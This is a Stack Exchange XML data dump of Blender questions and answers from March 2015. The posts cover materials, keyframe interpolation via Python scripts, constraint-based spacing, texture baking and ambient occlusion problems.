  <row Id="27149" PostTypeId="2" ParentId="27148" CreationDate="2015-03-15T03:19:02.940" Score="7" Body="&lt;p&gt;If you are using the Blender Internal rendering engine, you can turn off shading on a material using the shadeless checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9O2VQ.gif&quot; alt=&quot;Effects of the shadeless checkbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I have GLSL shading enabled. You can find it in the N panel int the 3D view. It's default value is Multitexture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjzNj.jpg&quot; alt=&quot;GLSL shading drop down&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-03-15T23:37:00.703" LastActivityDate="2015-03-15T23:37:00.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27150" PostTypeId="1" CreationDate="2015-03-15T03:50:21.327" Score="1" ViewCount="123" Body="&lt;p&gt;So I spent several hours making this blender scene for school: &lt;img src=&quot;https://i.stack.imgur.com/ZHtii.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured I would be able to append it into my current project:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jS7rA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I entered a separate layer to try and add the text to the snow.blend, but when I added it, it appeared with no materials/different lights/nodes not coming through etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appended and appeared like this:&lt;img src=&quot;https://i.stack.imgur.com/ulUx7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP ME PLEASE!!&lt;/p&gt;&#xA;" OwnerUserId="13157" LastActivityDate="2015-03-15T03:50:21.327" Title="Appending a scene and materials do not come through" Tags="&lt;materials&gt;&lt;append&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27151" PostTypeId="2" ParentId="27114" CreationDate="2015-03-15T05:10:34.050" Score="2" Body="&lt;p&gt;As you have guessed blender doesn't let you use a curve object for boolean operations. While the remesh modifier technically turns the result into a mesh, it is still a curve based object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your best option is to duplicate the text &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, then &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to convert the duplicate to a mesh and use it for the boolean. As you leave the original text object you can delete the mesh text, alter the text and repeat.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-15T05:10:34.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27152" PostTypeId="1" CreationDate="2015-03-15T05:58:28.580" Score="0" ViewCount="1552" Body="&lt;p&gt;I was modeling an object thanks to three cubes and then I made a flower with its respective &quot;accessories&quot;, the thing is that maybe I pressed something that I don't know, because now all my objects on the scene have an orange outline and I can't move them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I press &lt;kbd&gt;A&lt;/kbd&gt; two times I'm able to move everything on the layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I unselect the objects, then I can't move anything with right click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYtyF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="241" LastEditDate="2015-03-15T13:54:37.530" LastActivityDate="2015-03-15T13:54:37.530" Title="Can't move any objects in my scene" Tags="&lt;interface&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27153" PostTypeId="1" CreationDate="2015-03-15T06:32:25.710" Score="3" ViewCount="1167" Body="&lt;p&gt;I am using windows 7 64-bit, freshly installed. I installed Blender 2.73a but after installation, when I open blender it crashes (Blender has stopped working), but Blender 2.68 works perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar question has been asked before but the solutions haven't helped.&lt;/p&gt;&#xA;" OwnerUserId="11375" LastEditorUserId="241" LastEditDate="2015-06-25T13:46:38.113" LastActivityDate="2015-08-22T14:51:42.520" Title="Blender 2.73a crashes on start up" Tags="&lt;windows&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27154" PostTypeId="1" CreationDate="2015-03-15T06:59:05.883" Score="2" ViewCount="682" Body="&lt;p&gt;I would like to know is there any technique that I can bake textures of the Instanced or Linked Object meshes in Blender, Cycles or BI?&lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="1328" LastEditDate="2015-03-15T08:49:10.377" LastActivityDate="2015-03-15T08:49:10.377" Title="Is there any technique for baking instanced/linked objects, Cycles/BI?" Tags="&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27155" PostTypeId="2" ParentId="27125" CreationDate="2015-03-15T07:18:28.640" Score="6" Body="&lt;p&gt;Some parts of blender make use of multiple cpu's others don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of effort has gone into getting rendering to utilise all available cpu's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time consuming features like dynamic paint, sculpting, smoke sim and camera tracking have been created with the aim of using multiple cpu's or have had the effort put into them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just from a quick search, there doesn't appear to be any support for threading in rigid body simulations. I recall mention that threading bullet simulations breaks the BGE, which may be the reason for it not having threaded support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is work being done on getting bullet v3 to do it's simulations on gpu, but I have no idea when that will be finished or when blender will start using it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-15T07:18:28.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27156" PostTypeId="2" ParentId="27042" CreationDate="2015-03-15T07:24:15.370" Score="0" Body="&lt;p&gt;I'm using this answer space for other Blender-SE Q&amp;amp;A pages that are are related to these tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the question asked at the following page does not actually mention texture baking, yet the answer there is directly related to what's being discussed here.  The problem there will definitely affect the results here.&lt;br&gt;&#xA;It should be used prior to anything on this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/27113/unwrap-model-with-uvs-at-proper-size&quot;&gt;Unwrap model with UVs at proper size?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/22872/unwrap-uv-map-proportionally-to-object-size/22890#22890&quot;&gt;Unwrap UV map proportionally to object size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21002/problem-with-normal-map-display-in-glsl-texture-paint-mode/21023#21023&quot;&gt;Problem with normal map display in glsl texture paint mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24111/making-texture-atlas-for-only-some-part-of-objects/24112#24112&quot;&gt;making texture atlas for only some part of objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24800/how-can-i-bake-to-a-texture-a-floor/24847#24847&quot;&gt;How can I bake to a texture a floor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24834/unwrapped-map-gets-distored/24844#24844&quot;&gt;Unwrapped map gets distored&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24048/create-a-low-poly-mesh-with-high-detailed-textures/24127#24127&quot;&gt;Create a low poly mesh with high detailed textures?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24048/create-a-low-poly-mesh-with-high-detailed-textures/24083#24083&quot;&gt;Create a low poly mesh with high detailed textures?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19267/why-does-one-face-appears-so-warped-when-uv-unwraping/19272#19272&quot;&gt;Why does one face appears so warped when UV unwraping?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/16070/uv-mapping-issues/18170#18170&quot;&gt;UV Mapping Issues&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15560/baking-to-an-image-using-cycles-with-two-sets-of-existing-uvs/15582#15582&quot;&gt;Baking to an image using cycles with two sets of existing uvs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15232/mark-seam-to-not-be-cut-by-smart-uv/15246#15246&quot;&gt;Mark seam to not be cut by Smart UV&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14694/how-can-i-bake-alpha-in-cycle-nodes-images-to-make-leave-textures-for-my-trees/14703#14703&quot;&gt;How can I bake alpha in cycle nodes-images to make leave textures for my trees?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/12106/long-rectangular-quads-or-neat-squarish-quads-with-tris/12120#12120&quot;&gt;Long rectangular quads? Or neat squarish quads with tris?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10741/what-is-the-best-way-to-unwrap-a-sphere/10752#10752&quot;&gt;What is the best way to unwrap a sphere?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Bug reports can often be related to artists work-flow just as much as they are to code limitations and failures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, changing how the UV's are defined makes it so the code problem never shows itself.&#xA;&lt;a href=&quot;https://developer.blender.org/T42056#295324&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T42056#295324&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-03-19T14:35:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27157" PostTypeId="1" CreationDate="2015-03-15T08:56:21.210" Score="9" ViewCount="3239" Body="&lt;p&gt;I have written a python script to create an animation out of a file containing the trajectory of some objects and &lt;strong&gt;I would like to switch to a constant mode of interpolation&lt;/strong&gt; (I have one position per time step and other interpolation modes are really slow and not necessary in this case). The code is launched in the 3D view context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have put the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;area = bpy.context.area&#xA;old_type = area.type&#xA;area.type = 'GRAPH_EDITOR'&#xA;bpy.ops.graph.select_all_toggle()&#xA;bpy.ops.graph.interpolation_type(type='CONSTANT')&#xA;area.type = old_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it does nothing... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="13175" LastEditorUserId="3710" LastEditDate="2015-03-15T10:44:01.090" LastActivityDate="2015-03-15T14:10:21.710" Title="How to change to constant interpolation mode from a python script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27159" PostTypeId="2" ParentId="27157" CreationDate="2015-03-15T10:49:48.283" Score="12" Body="&lt;p&gt;&lt;strong&gt;slightly simple option&lt;/strong&gt; (probably not the best in the long run)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A toggle inverts, if all curves are selected it will select the curves that are not selected. The solution might be as simple as this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.graph.select_all_toggle(invert=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;broader answer&lt;/strong&gt; (which is hopefully more useful)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy enough, but perhaps not very obvious.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kf = bpy.data.objects['Cube'].animation_data.action.fcurves[0].keyframe_points[0]&#xA;kf.interpolation = 'CONSTANT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or for &lt;em&gt;Keyframes&lt;/em&gt; on all &lt;em&gt;F-Curves&lt;/em&gt; of that object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;fcurves = obj.animation_data.action.fcurves&#xA;for fcurve in fcurves:&#xA;    for kf in fcurve.keyframe_points:&#xA;        kf.interpolation = 'CONSTANT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without seeing your code I can only assume things about it. You can use the Outliner (DataBlocks view) to get a reasonable idea of where to look in the API for these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRsgc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addendum&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the script seems to behave slowly, it might not be the interpolation but the way the script adds keyframes. I Might be wrong but I assume you are using something like this to add keyframes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert(type='Location', confirm_success=True)&#xA;# this does more than just add keyframes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be faster: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;positions = (0,0,2),(0,1,2),(3,2,1),(3,4,1),(1,2,1)&#xA;start_pos = (0,0,0)&#xA;&#xA;bpy.ops.mesh.primitive_uv_sphere_add(segments=32, size=0.3, location=start_pos)&#xA;bpy.ops.object.shade_smooth()&#xA;ob = bpy.context.active_object&#xA;&#xA;frame_num = 0&#xA;&#xA;for position in positions:&#xA;    bpy.context.scene.frame_set(frame_num)&#xA;    ob.location = position&#xA;    ob.keyframe_insert(data_path=&quot;location&quot;, index=-1)  # &amp;lt;-- this&#xA;    frame_num += 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting the interpolation type at creation time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for position in positions:&#xA;    bpy.context.scene.frame_set(frame_num)&#xA;    ob.location = position&#xA;    ob.keyframe_insert(data_path=&quot;location&quot;, index=-1)&#xA;&#xA;    for fcurve in ob.animation_data.action.fcurves:&#xA;        kf = fcurve.keyframe_points[-1]&#xA;        kf.interpolation = 'CONSTANT'&#xA;    frame_num += 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-03-15T13:20:43.700" LastActivityDate="2015-03-15T13:20:43.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27161" PostTypeId="2" ParentId="27138" CreationDate="2015-03-15T13:23:31.083" Score="2" Body="&lt;p&gt;this is not official but after inspection :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the last line is not for location in 4*4 matrix &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qOwBW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;matrix_local is the rest matrix in the armature space &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;matrix_channel is the pose matrix according to the rest state&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i think the last line is there to make a square matrix&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-15T13:23:31.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27162" PostTypeId="2" ParentId="18831" CreationDate="2015-03-15T13:32:26.690" Score="1" Body="&lt;p&gt;Here is the node setup is use for saturn's rings :&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xqAvY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xqAvYh.jpg&quot; alt=&quot;node setup!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Textures come from &lt;a href=&quot;http://www.mmedia.is/~bjj/data/s_rings/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-15T13:32:26.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27165" PostTypeId="2" ParentId="19280" CreationDate="2015-03-15T14:37:24.260" Score="4" Body="&lt;p&gt;You can use vertex groups to limit the effect of a curve modifier.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K2x0f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2x0fh.jpg&quot; alt=&quot;Vpaint!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Create the vertex group manually or enter weight paint mode using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;. Red means max weight, dark blue means no weight.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-15T14:37:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27166" PostTypeId="2" ParentId="21015" CreationDate="2015-03-15T14:59:54.117" Score="2" Body="&lt;p&gt;It looks like your plane has multiple materials on it but out of sight :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/soy6a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Your changes on this material are not visible because it's not assigned to your object (plane).&lt;br&gt;&#xA;Remove the other materials or affect this one to your geometry :&lt;br&gt;&#xA;1. Select your plane, &lt;kbd&gt;Tab&lt;/kbd&gt; to go in edit mode, then &lt;kbd&gt;A&lt;/kbd&gt; to select All&lt;br&gt;&#xA;2. Select the checker material from the material list&lt;br&gt;&#xA;3. Click the &lt;em&gt;Assign&lt;/em&gt; button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rX6nz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-15T14:59:54.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27168" PostTypeId="2" ParentId="24405" CreationDate="2015-03-15T16:51:33.763" Score="1" Body="&lt;p&gt;Set the resolution to 1366 x 768 pixel, your (weird) screen's native one, if your graphics card allows it.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="2843" LastEditDate="2016-04-24T20:51:45.703" LastActivityDate="2016-04-24T20:51:45.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27169" PostTypeId="1" AcceptedAnswerId="27170" CreationDate="2015-03-15T17:42:17.573" Score="1" ViewCount="151" Body="&lt;p&gt;I’ll ask simple, then explain why I need it. Here’s the idea – &#xA;There are 2 squares and rectangles next to them (image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GsWR3.png&quot; alt=&quot;enter image description here&quot;&gt;The height is 1.795 and their combined width is 5.795. If we add spacing between each element the dimensions for the height and width will be preserved (image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ak34L.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Also, the space between the squares is the same length as the space between each rectangle. Now, the snapping tool works well for preserving the main dimensions (shown in orange), but how can I make the spacing the same length between each element? Yeah, I can bevel them, but the squares are supposed to be identical as well as the rectangles.&#xA;I need this for creating kitchen cabinets where the main dimensions are already defined. This is sort of a practice where I’ll get serious later on and make some money. There’s no overlapping edges in real life and I believe this is an essential feature for architectural visualization, such as: Desks, Cabinets, Objects next to\on top of each other etc. Is there a way to make this in blender? Any workaround will be appreciated :).&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="11431" LastEditDate="2015-03-16T12:11:33.733" LastActivityDate="2015-03-16T14:14:23.107" Title="How to preserve the main dimension when adding space between elements" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;constraints&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27170" PostTypeId="2" ParentId="27169" CreationDate="2015-03-15T18:25:38.227" Score="4" Body="&lt;p&gt;let's start from your exemple with those objects (i'll call them Base):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gZiCN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;1st, we create objects (i'll say Spacers), they don't need to have geometry but giving them a shape make them visible and selectable. The important thing here is their origin, it has to be in the middle of the space between the objects we want to control.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/146z2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The horizontal Spacers on the right have to be rotated 90° on the Y axis in &lt;em&gt;Object mode&lt;/em&gt;, because we'll use their local X axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U7tGw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Now select 1 of the Spacers &lt;kbd&gt;RMB&lt;/kbd&gt; and the Base object touching it (in this order) &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; and enter &lt;em&gt;Edit mode&lt;/em&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;. Select the face touching the Spacer, hit &lt;kbd&gt;Spacebar&lt;/kbd&gt; to search for &lt;em&gt;Hook to selected object&lt;/em&gt;, click it with &lt;kbd&gt;LMB&lt;/kbd&gt;. Now your face is hooked to the spacer object. Get out of Edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;. You can move the spacer to check if the face is following as it should.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Phlq1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Repeat the same operations on every Spacers and their  adjacent faces. There are 3 Base objects that needs to be hooked to the same spacer.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8VsLF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Now select the second Spacer, go in &lt;em&gt;constraints&lt;/em&gt; tab and add a Copy Scale constraint. The &lt;em&gt;Target&lt;/em&gt; has to be the 1st Spacer, the controller. Remove Y and Z axis, choose &lt;em&gt;local space&lt;/em&gt; from in 2 &lt;em&gt;Space&lt;/em&gt; menus. For this spacer, we'll use an &lt;em&gt;Influence&lt;/em&gt; of &lt;strong&gt;0.5&lt;/strong&gt;. This is important because the concerned Base object will be affected by 2 spacers but the left Base object is affected by only 1, so the scale has to be 1/2.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/trEdr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;This one needs an &lt;em&gt;Influence&lt;/em&gt; of &lt;strong&gt;1&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ymxl7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The selected Spacers have an influence of &lt;strong&gt;0.5&lt;/strong&gt;, the others have &lt;strong&gt;1&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MnD2z.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select the Controler Spacer and scale it on it's local X axis with &lt;kbd&gt;S&lt;/kbd&gt;-&gt;&lt;kbd&gt;X&lt;/kbd&gt;-&gt;&lt;kbd&gt;X&lt;/kbd&gt; and all object should be modified to use the same space between them!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/091Vc.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/108/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=108&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-03-16T14:14:23.107" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27171" PostTypeId="1" AcceptedAnswerId="27256" CreationDate="2015-03-15T19:11:27.277" Score="4" ViewCount="1618" Body="&lt;p&gt;i've been working on a small oven model and i have a problem with the AO bake,&#xA;for whatever reason there is a big round shadow in middle of the front and i have no ida what causing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what i mean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMhga.png&quot; alt=&quot;Here is a screenshot of what i mean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and on the rendered ao texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxuVo.png&quot; alt=&quot;ao texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea whats happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;i'm using blender render with approximate setting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit2:&#xA;blend file&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/110/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=110&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPly6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13182" LastEditorUserId="-1" LastEditDate="2017-03-14T09:29:22.580" LastActivityDate="2015-03-17T19:29:42.840" Title="weird ambient occlusion shadow" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27172" PostTypeId="1" AcceptedAnswerId="27173" CreationDate="2015-03-15T19:21:12.350" Score="0" ViewCount="1934" Body="&lt;p&gt;This is hard because I dont think there is a &quot;correct&quot; answer to this.&#xA;Basically I want to use a normal map of a high poly model on a low poly version of that same model. This I learned so far. But I can't find instructions on the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to paint a texture for the high poly and use this texture on the low poly too. &#xA;On top of that I'd like to use normal texturing for the high poly texture e.g. giving it the small detail shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High poly with (color and) normal texture&#xA;-&gt; &#xA;Low poly with the normal map of the high poly model + the color and normal texture of the high poly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many and which maps do I have to bake then and how many textures does one need for the low poly version?&#xA;Is the texture applied to the low poly version or its normal map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize this let's say we have a modeled brick wall. &#xA;We paint a color texture for the model, the texture has little cracks and sprinkles so we use normal when I assign it to the material of the model so that these small details are shaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that whole thing shall be put onto a simple plane (or a low res model).&#xA;Not just the normal map for the model but also the color texture plus the normal shading for the color texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is like normalception and kind of confusing but I didnt know how to put it in words better with my noob knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile I will trial and error my best, cheers!&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="3401" LastEditDate="2015-12-22T17:50:39.960" LastActivityDate="2015-12-22T17:50:39.960" Title="How to: High poly to low poly normal map + high poly texture + normal map of texture detail" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
